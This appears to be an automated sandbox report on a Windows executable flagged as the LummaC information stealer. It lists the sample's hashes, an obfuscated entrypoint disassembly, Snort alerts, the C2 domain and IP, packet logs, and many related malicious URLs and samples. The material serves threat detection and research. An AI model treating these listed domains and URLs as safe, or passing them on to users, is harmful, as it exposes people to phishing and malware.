https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.51.78	greetclassifytalk.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431577
Start date and time:	2024-04-25 13:32:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 92% Number of executed functions: 36 Number of non-executed functions: 51
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded IPs from analysis (whitelisted): 13.85.23.86, 23.47.204.74, 23.47.204.65, 13.85.23.206
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:32:58	API Interceptor	8x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.51.78	file.exe	Get hash	malicious	LummaC	Browse
104.21.51.78	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://www.mavengroupglobal.uk/DYuPhO4h/v?url=qs6eqSurmcWXoQKf6zcjhg6iePdEghHaDt49dq0x39xgLRd6M1#qs6eqSurmcWXoQKf6zcjhg6iePdEghHaDt49dq0x39xgLRd6M1EFEEZ2FicmllbC5wYXJ2dWxlc2N1QGRldXRzY2hlYmFobi5jb20=	Get hash	malicious	Unknown	Browse	192.229.211.108
	http://ipscanadvsf.com	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://www.canva.com/design/DAGDNh45X_4/PPCLYIV4Y8uUaoEW7ZJrJQ/view?utm_content=DAGDNh45X_4&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	192.229.211.108
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	192.229.211.108
	https://functional-adhesive-titanium.glitch.me/	Get hash	malicious	Unknown	Browse	192.229.211.108
	http://findersearching.com	Get hash	malicious	Unknown	Browse	192.229.211.108
	SecuriteInfo.com.Variant.Ransom.Loki.19527.9895.18577.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.229.211.108
	https://www.canva.com/design/DAGDNh45X_4/PPCLYIV4Y8uUaoEW7ZJrJQ/view?utm_content=DAGDNh45X_4&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://bind.bestresulttostart.com/scripts/statistics.js?s=7.8.2	Get hash	malicious	Unknown	Browse	192.229.211.108
greetclassifytalk.shop	file.exe	Get hash	malicious	LummaC	Browse	172.67.177.98
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://content.amanet.org/?m=CiGW.81UwlU3LD6ZH5M4ZoUXv03dAeWfC&r=https://control.mailblaze.com/index.php/survey/ps97367sjy584	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://www.mavengroupglobal.uk/DYuPhO4h/v?url=qs6eqSurmcWXoQKf6zcjhg6iePdEghHaDt49dq0x39xgLRd6M1#qs6eqSurmcWXoQKf6zcjhg6iePdEghHaDt49dq0x39xgLRd6M1EFEEZ2FicmllbC5wYXJ2dWxlc2N1QGRldXRzY2hlYmFobi5jb20=	Get hash	malicious	Unknown	Browse	104.27.195.88
	https://www.canva.com/design/DAGDNh45X_4/PPCLYIV4Y8uUaoEW7ZJrJQ/view?utm_content=DAGDNh45X_4&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://findersearching.com	Get hash	malicious	Unknown	Browse	172.67.169.214
	https://boardmbza.info/f	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.canva.com/design/DAGDNh45X_4/PPCLYIV4Y8uUaoEW7ZJrJQ/view?utm_content=DAGDNh45X_4&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	http://jtmidgett.law/CaptRedr.html	Get hash	malicious	HTMLPhisher	Browse	104.18.125.91
	https://starmicronics.com/support/download/starprnt-intelligence-software-setup-exe-file-v3-6-0a/#unlock	Get hash	malicious	Unknown	Browse	104.16.117.116
	16770075581.zip	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	https://itniy4gbb.cc.rs6.net/tn.jsp?f=001DpCT81a7BIE926OduG6KmKkwKebSAbUZq28C52DoY-FfQJyM_2Gq3l18V1j7KWwJQTfGlQ_HSq0vC8xqJqFST9z0CwmpWgUieBjKckdJcSODJ_3vu5MzvaSoOGbGY9SjpWQtg9-aAXm1e6VV91z84Q2_wlyDMR98&c=i37ZFF5Dy2QSFqOfb2TVpr5vkMFqaR6DdoQbIhzcRV7G2oFwX8NEvA==&ch=2ErEiCYnoykaXa1uoD0AgTD1vOpSqc6zh3ef32Gb4XR_ut8_qvmzHA==&c=&ch=&__=/mrlZp0zmTKgGvsPpx0JUyCMjGZr4J6/Z2dvbnphbGV6c2FsYXNAc2FuaXRhcy5lcw==	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Iu4csQ2rwX.msi	Get hash	malicious	AsyncRAT	Browse	104.21.51.78
	o7b91j8vnJ.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	SHEOrder-10524.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.51.78
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.21.51.78
	https://56hytuti5.weebly.com/	Get hash	malicious	Unknown	Browse	104.21.51.78
	udVh4Ist4Z.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.51.78
	samradapps_datepicker_221114.xlam	Get hash	malicious	Unknown	Browse	104.21.51.78
	Enquiry 230424.bat	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.51.78
	URGENTE_NOTIFICATION.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.51.78
	fu56fbrtn8.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.51.78

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.957533593819779
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	5'745'152 bytes
MD5:	c91f9c9ffa73cd9d586d34f73beee0cd
SHA1:	0c6c645322b236944142fdffacbb610906177ee3
SHA256:	1b17680574d595b6211da1ca0664113f78cfb0e678c209dd61664d0f99841942
SHA512:	403eb2e3f09aacbaf06496d8e727d4a1c7d9fbff3b7437e14ab65cd142216189c0eb9d2ddc775f800a678b53ba7948c4704b48cd10de6b04a53d989dbfdc4286
SSDEEP:	98304:Guha6IiuJPovwGz5z0TWmakZv/Rjg3ozLRKdcB4S/BDTRm:nIiullGzOTNa+pjg3on0dwnJD9m
TLSH:	974623232275209AF1E2CC3D853BFDF672F6126E8A83EC7C659A5CC438265F49613953
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....8#f..............................D...........@..........................@............@.................................0.O....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x84f01e
Entrypoint Section:	.vmp1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x662338B6 [Sat Apr 20 03:38:30 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d435064ba91569f26a23505d954231af

Entrypoint Preview

Instruction
push DA78F8D9h
call 00007F0ABC7A0F7Eh
bswap esi
inc ecx
test dh, ch
inc ecx
cmp al, 0000000Bh
push ebx
neg bx
xor dword ptr [esp], esi
pop ebx
dec ecx
test esi, 35C6434Eh
cmc
dec eax
arpl si, si
inc ecx
test ebx, edi
inc sp
cmp ebx, edi
dec esp
add eax, esi
jmp 00007F0ABCC05F7Bh
mov eax, dword ptr [ebp+00h]
mov cx, 2DE6h
stc
cmp dh, 00000078h
mov cx, word ptr [ebp+04h]
lea ebp, dword ptr [ebp+00000006h]
stc
test si, 696Eh
cmp esi, esi
mov word ptr [eax], cx
xor cx, 2FEDh
adc cl, ch
rol ecx, FFFFFFBAh
lea esi, dword ptr [esi-00000004h]
cmp ebp, 1CC81D4Dh
bts ecx, eax
rcr cl, cl
mov ecx, dword ptr [esi]
clc
xor ecx, ebx
ror ecx, 02h
jmp 00007F0ABC8B8427h
sysenter
push 9D50F6B0h
call 00007F0ABC8A39C0h
jmp 00007F0ABCC3ECF3h
dec edx
cmc
not edx
cmc
clc
rol edx, 1
cmp cx, si
neg edx
test edi, eax
jmp 00007F0ABCCBBA7Dh
jne 00007F0ABC7D7940h
mov eax, dword ptr [ebp+00h]
jmp 00007F0ABC8B13C1h
mov edx, dword ptr [ebp+00h]
mov cl, byte ptr [ebp+04h]
test dl, FFFFFF80h
stc
sub ebp, 00000002h
shl edx, cl
cmovnle ecx, edi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4f9b30	0xdc	.vmp1
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8f3000	0x5bc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x396000	0x80	.vmp1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x39105	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x28fb	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0xa534	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp0	0x49000	0x32f379	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp1	0x379000	0x579f00	0x57a000	118b68720f6ba0c5afa62a9c9bfccebb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x8f3000	0x5bc	0x600	7c28dc7a41b61cce52c073cf5cfaf0ef	False	0.51953125	data	4.1633892646707835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	ExitProcess
OLEAUT32.dll	SysAllocString
ole32.dll	CoCreateInstance
USER32.dll	CloseClipboard
GDI32.dll	BitBlt
WTSAPI32.dll	WTSSendMessageW
KERNEL32.dll	VirtualQuery
USER32.dll	GetProcessWindowStation
KERNEL32.dll	LocalAlloc, LocalFree, GetModuleFileNameW, GetProcessAffinityMask, SetProcessAffinityMask, SetThreadAffinityMask, Sleep, ExitProcess, FreeLibrary, LoadLibraryA, GetModuleHandleA, GetProcAddress
USER32.dll	GetProcessWindowStation, GetUserObjectInformationW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/25/24-13:33:01.018564	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49732	443	192.168.2.4	104.21.51.78
04/25/24-13:33:06.114264	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49737	443	192.168.2.4	104.21.51.78
04/25/24-13:32:58.942006	UDP	2052028	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop)	56442	53	192.168.2.4	1.1.1.1
04/25/24-13:33:01.871434	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49733	443	192.168.2.4	104.21.51.78
04/25/24-13:33:04.680270	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49736	443	192.168.2.4	104.21.51.78
04/25/24-13:32:59.247616	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49730	443	192.168.2.4	104.21.51.78
04/25/24-13:33:02.853848	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49734	443	192.168.2.4	104.21.51.78
04/25/24-13:33:03.855093	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49735	443	192.168.2.4	104.21.51.78
04/25/24-13:33:00.026464	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49731	443	192.168.2.4	104.21.51.78

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 13:32:59.122523069 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.122611046 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:32:59.122694969 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.247616053 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.247689009 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:32:59.486295938 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:32:59.486620903 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.488821030 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.488845110 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:32:59.489295006 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:32:59.534889936 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.554635048 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.554635048 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:32:59.554780960 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.015755892 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.015872002 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.015965939 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.018657923 CEST	49730	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.018680096 CEST	443	49730	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.026053905 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.026103973 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.026190996 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.026463985 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.026480913 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.262747049 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.262861967 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.264755011 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.264761925 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.265482903 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.267242908 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.267288923 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.267338037 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797049046 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797255993 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797317028 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.797336102 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797492981 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797547102 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.797554970 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797684908 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797758102 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.797765970 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797873020 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.797940016 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.797947884 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.798053026 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.798161030 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.798196077 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.798203945 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.798279047 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.798310995 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.798520088 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.798580885 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.798993111 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.799005985 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:00.799021006 CEST	49731	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:00.799026012 CEST	443	49731	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.018023014 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.018048048 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.018138885 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.018563986 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.018575907 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.256438017 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.256612062 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.258501053 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.258507967 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.258924961 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.260672092 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.260835886 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.260874033 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.260940075 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.260948896 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.783024073 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.783288956 CEST	443	49732	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.783360958 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.784147978 CEST	49732	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.870944023 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.870970964 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:01.871059895 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.871433973 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:01.871443987 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.106620073 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.106827021 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.108443975 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.108452082 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.108786106 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.110449076 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.110615015 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.110646963 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.618048906 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.618338108 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.618416071 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.618490934 CEST	49733	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.618505001 CEST	443	49733	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.853316069 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.853348970 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:02.853559017 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.853847980 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:02.853862047 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.089853048 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.090102911 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.091790915 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.091816902 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.092803001 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.094485044 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.094705105 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.094769955 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.094882965 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.094898939 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.652002096 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.652293921 CEST	443	49734	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.652333975 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.652383089 CEST	49734	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.854599953 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.854633093 CEST	443	49735	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:03.854747057 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.855093002 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:03.855104923 CEST	443	49735	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.094806910 CEST	443	49735	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.095029116 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.096179962 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.096185923 CEST	443	49735	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.096524000 CEST	443	49735	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.097584963 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.097682953 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.097702026 CEST	443	49735	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.599586964 CEST	443	49735	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.599806070 CEST	49735	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.679807901 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.679888010 CEST	443	49736	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.679976940 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.680269957 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.680320978 CEST	443	49736	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.923499107 CEST	443	49736	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.923722029 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.924705982 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.924715042 CEST	443	49736	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.925146103 CEST	443	49736	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:04.927428007 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.927510023 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:04.927517891 CEST	443	49736	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:05.426395893 CEST	443	49736	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:05.426646948 CEST	49736	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.113842964 CEST	49737	443	192.168.2.4	104.21.51.78
